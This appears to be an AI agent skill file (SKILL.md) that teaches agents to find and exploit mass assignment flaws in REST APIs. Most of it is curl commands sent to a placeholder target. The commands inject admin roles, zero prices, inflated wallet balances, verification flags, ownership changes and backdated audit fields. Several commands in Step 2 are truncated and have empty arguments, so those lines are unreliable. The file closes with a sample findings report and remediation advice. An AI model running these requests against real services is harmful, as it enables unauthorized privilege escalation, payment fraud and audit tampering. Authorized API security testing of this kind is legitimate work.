exploiting-mass-assignment-in-rest-apis

Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.

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Repository: AgentFlocks/flocks
Last source activity: May 5, 2026 at 05:45
Detected SKILL.md language: English
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name	exploiting-mass-assignment-in-rest-apis
description	Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.
domain	cybersecurity
subdomain	web-application-security
tags	["mass-assignment","api-security","privilege-escalation","rest-api","autobinding","parameter-injection","owasp-api"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]

Exploiting Mass Assignment in REST APIs

When to Use

When testing REST APIs that accept JSON input for creating or updating resources
During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
When testing user registration, profile update, or account management endpoints
During bug bounty hunting on applications with CRUD API operations
When evaluating role-based access control implementation in API-driven applications

Prerequisites

Burp Suite or Postman for API request crafting and interception
Understanding of ORM auto-binding behavior in common frameworks
API documentation or endpoint discovery through reconnaissance
Multiple user accounts with different privilege levels for testing
Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
Arjun or param-miner for hidden parameter discovery

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Discover API Structure and Fields

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

Step 2 — Test Privilege Escalation via Role Fields

# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d 


curl -X PATCH http://target.com/api/users/me \
  -H  \
  -H  \
  -d 

curl -X PATCH http://target.com/api/users/me \
  -H  \
  -H  \
  -d 


curl -X POST http://target.com/api/register \
  -H  \
  -d

# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

# Change resource ownership
curl -X PATCH http://target.com/api/documents/123 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"owner_id":"admin-user-id"}'

# Assign to different group/team
curl -X PATCH http://target.com/api/projects/456 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"team_id":"privileged-team","access_level":"write"}'

# Modify created_at/updated_at for audit log manipulation
curl -X PATCH http://target.com/api/entries/789 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"created_at":"2020-01-01","created_by":"other-user-id"}'

# Use Burp Intruder with field names wordlist
# Wordlist of common mass assignment fields:
# role, admin, isAdmin, is_admin, user_type, privilege, level
# verified, email_verified, active, banned, suspended
# balance, credits, price, discount, plan, tier
# owner_id, organization_id, team_id, group_id

# Python automation script
python3 mass_assignment_tester.py \
  --url http://target.com/api/users/me \
  --method PATCH \
  --token "Bearer USER_TOKEN" \
  --fields-file mass_assignment_fields.txt

# Nuclei mass assignment templates
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml

Concept	Description
Mass Assignment	ORM auto-binding of request parameters to model attributes without restriction
Autobinding	Framework feature that maps HTTP parameters directly to object properties
Allowlist	Server-side list of permitted fields for update operations (strong_parameters in Rails)
Denylist	List of forbidden fields (less secure than allowlist approach)
Hidden Fields	Server-managed fields (role, balance) not shown in forms but accepted by API
DTO (Data Transfer Object)	Pattern using separate objects for input vs. database to prevent mass assignment
Parameter Pollution	Sending unexpected extra parameters alongside legitimate ones

Tool	Purpose
Burp Suite	API request interception and parameter injection
Postman	API testing and collection-based mass assignment testing
Arjun	Hidden parameter discovery tool for API endpoints
param-miner	Burp extension for discovering hidden parameters
OWASP ZAP	Automated API scanning with parameter injection
swagger-codegen	Generate API clients from OpenAPI specs for testing

## Mass Assignment Vulnerability Report
- **Target**: http://target.com/api/users/me
- **Method**: PATCH
- **Framework**: Ruby on Rails (detected via X-Powered-By)

### Findings
| # | Endpoint | Injected Field | Original | Modified | Impact |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |

### Remediation
- Implement allowlist (strong_parameters) for all model update operations
- Use DTOs/ViewModels to decouple API input from database models
- Apply field-level authorization checks on sensitive attributes
- Log and alert on attempts to modify restricted fields